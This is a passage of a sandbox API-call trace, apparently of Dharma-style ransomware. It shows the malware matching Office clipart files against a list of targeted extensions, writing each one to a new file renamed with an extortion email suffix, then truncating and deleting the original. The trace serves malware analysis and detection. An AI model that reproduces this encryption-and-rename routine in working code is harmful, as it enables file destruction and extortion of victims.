returned 68 [0287.247] lstrlenW (lpString=".doc") returned 4 [0287.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString=".docx") returned 5 [0287.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.247] lstrlenW (lpString=".pdf") returned 4 [0287.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString=".xls") returned 4 [0287.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.247] lstrlenW (lpString=".xlsx") returned 5 [0287.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.247] lstrlenW (lpString=".ppt") returned 4 [0287.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.247] lstrlenW (lpString=".zip") returned 4 [0287.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.247] lstrlenW (lpString=".rar") returned 4 [0287.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString=".bz2") returned 4 [0287.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString=".7z") returned 3 [0287.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.247] lstrlenW (lpString=".dbf") returned 4 [0287.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".1cd") returned 4 [0287.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".jpg") returned 4 [0287.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".doc") returned 4 [0287.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString=".docx") returned 5 [0287.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.248] lstrlenW (lpString=".pdf") returned 4 [0287.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString=".xls") returned 4 [0287.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.248] lstrlenW (lpString=".xlsx") returned 5 [0287.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.248] lstrlenW (lpString=".ppt") returned 4 [0287.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".zip") returned 4 [0287.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.248] lstrlenW (lpString=".rar") returned 4 [0287.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString=".bz2") returned 4 [0287.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString=".7z") returned 3 [0287.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".dbf") returned 4 [0287.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".1cd") returned 4 [0287.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0287.248] lstrlenW (lpString=".jpg") returned 4 [0287.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.249] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.249] lstrlenW (lpString="BL00985_.WMF") returned 12 [0287.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.249] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3768) returned 1 [0287.249] CloseHandle (hObject=0x10ac) returned 1 [0287.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0287.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.249] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.249] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0287.250] GetLastError () returned 0x0 [0287.250] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xeb8, lpOverlapped=0x0) returned 1 [0287.251] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec0, lpOverlapped=0x0) returned 1 [0287.254] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.254] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0287.255] SetEndOfFile (hFile=0x10a8) returned 1 [0287.255] CloseHandle (hObject=0x10a8) returned 1 [0287.255] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.255] SetEndOfFile (hFile=0x10ac) returned 1 [0287.256] CloseHandle (hObject=0x10ac) returned 1 [0287.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString=".doc") returned 4 [0287.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".docx") returned 5 [0287.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.257] lstrlenW (lpString=".pdf") returned 4 [0287.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".xls") returned 4 [0287.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.257] lstrlenW (lpString=".xlsx") returned 5 [0287.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.257] lstrlenW (lpString=".ppt") returned 4 [0287.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString=".zip") returned 4 [0287.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.257] lstrlenW (lpString=".rar") returned 4 [0287.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".bz2") returned 4 [0287.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".7z") returned 3 [0287.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString=".dbf") returned 4 [0287.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString=".1cd") returned 4 [0287.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.257] lstrlenW (lpString=".jpg") returned 4 [0287.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString=".doc") returned 4 [0287.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString=".docx") returned 5 [0287.258] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.258] lstrlenW (lpString=".pdf") returned 4 [0287.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString=".xls") returned 4 [0287.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.258] lstrlenW (lpString=".xlsx") returned 5 [0287.258] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.258] lstrlenW (lpString=".ppt") returned 4 [0287.258] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString=".zip") returned 4 [0287.258] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.258] lstrlenW (lpString=".rar") returned 4 [0287.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString=".bz2") returned 4 [0287.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString=".7z") returned 3 [0287.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString=".dbf") returned 4 [0287.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString=".1cd") returned 4 [0287.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0287.258] lstrlenW (lpString=".jpg") returned 4 [0287.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.259] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.259] lstrlenW (lpString="BOAT.WMF") returned 8 [0287.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.259] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3350) returned 1 [0287.259] CloseHandle (hObject=0x10ac) returned 1 [0287.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0287.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.259] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.259] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0287.260] GetLastError () returned 0x0 [0287.260] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xd16, lpOverlapped=0x0) returned 1 [0287.261] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xd20, lpOverlapped=0x0) returned 1 [0287.262] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0287.262] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xe4, lpOverlapped=0x0) returned 1 [0287.262] SetEndOfFile (hFile=0x10a8) returned 1 [0287.262] CloseHandle (hObject=0x10a8) returned 1 [0287.262] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.263] SetEndOfFile (hFile=0x10ac) returned 1 [0287.263] CloseHandle (hObject=0x10ac) returned 1 [0287.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0287.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.264] lstrlenW (lpString=".doc") returned 4 [0287.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.264] lstrlenW (lpString=".docx") returned 5 [0287.264] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0287.264] lstrlenW (lpString=".pdf") returned 4 [0287.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.264] lstrlenW (lpString=".xls") returned 4 [0287.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.264] lstrlenW (lpString=".xlsx") returned 5 [0287.264] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0287.264] lstrlenW (lpString=".ppt") returned 4 [0287.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.264] lstrlenW (lpString=".zip") returned 4 [0287.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.264] lstrlenW (lpString=".rar") returned 4 [0287.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.264] lstrlenW (lpString=".bz2") returned 4 [0287.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.264] lstrlenW (lpString=".7z") returned 3 [0287.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString=".dbf") returned 4 [0287.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString=".1cd") returned 4 [0287.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString=".jpg") returned 4 [0287.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString=".doc") returned 4 [0287.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString=".docx") returned 5 [0287.265] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0287.265] lstrlenW (lpString=".pdf") returned 4 [0287.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString=".xls") returned 4 [0287.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.265] lstrlenW (lpString=".xlsx") returned 5 [0287.265] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0287.265] lstrlenW (lpString=".ppt") returned 4 [0287.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.265] lstrlenW (lpString=".zip") returned 4 [0287.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.265] lstrlenW (lpString=".rar") returned 4 [0287.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString=".bz2") returned 4 [0287.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.265] lstrlenW (lpString=".7z") returned 3 [0287.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.266] lstrlenW (lpString=".dbf") returned 4 [0287.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.266] lstrlenW (lpString=".1cd") returned 4 [0287.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0287.266] lstrlenW (lpString=".jpg") returned 4 [0287.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.266] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.266] lstrlenW (lpString="BOATINST.WMF") returned 12 [0287.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.266] GetFileSizeEx (in: hFile=0x10ac, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=29004) returned 1 [0287.266] CloseHandle (hObject=0x10ac) returned 1 [0287.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220 [0287.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0287.268] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.268] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0287.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0287.269] GetLastError () returned 0x0 [0287.269] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x714c, lpOverlapped=0x0) returned 1 [0288.244] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x7150, lpOverlapped=0x0) returned 1 [0288.246] ReadFile (in: hFile=0x10ac, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0288.246] WriteFile (in: hFile=0x10a8, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0288.246] SetEndOfFile (hFile=0x10a8) returned 1 [0288.259] CloseHandle (hObject=0x10a8) returned 1 [0288.260] SetFilePointerEx (in: hFile=0x10ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0288.260] SetEndOfFile (hFile=0x10ac) returned 1 [0288.261] CloseHandle (hObject=0x10ac) returned 1 [0288.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0288.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0288.263] lstrlenW (lpString=".doc") returned 4 [0288.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.263] lstrlenW (lpString=".docx") returned 5 [0288.263] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0288.263] lstrlenW (lpString=".pdf") returned 4 [0288.263] lstrcmpiW (lpString1=".pdf", 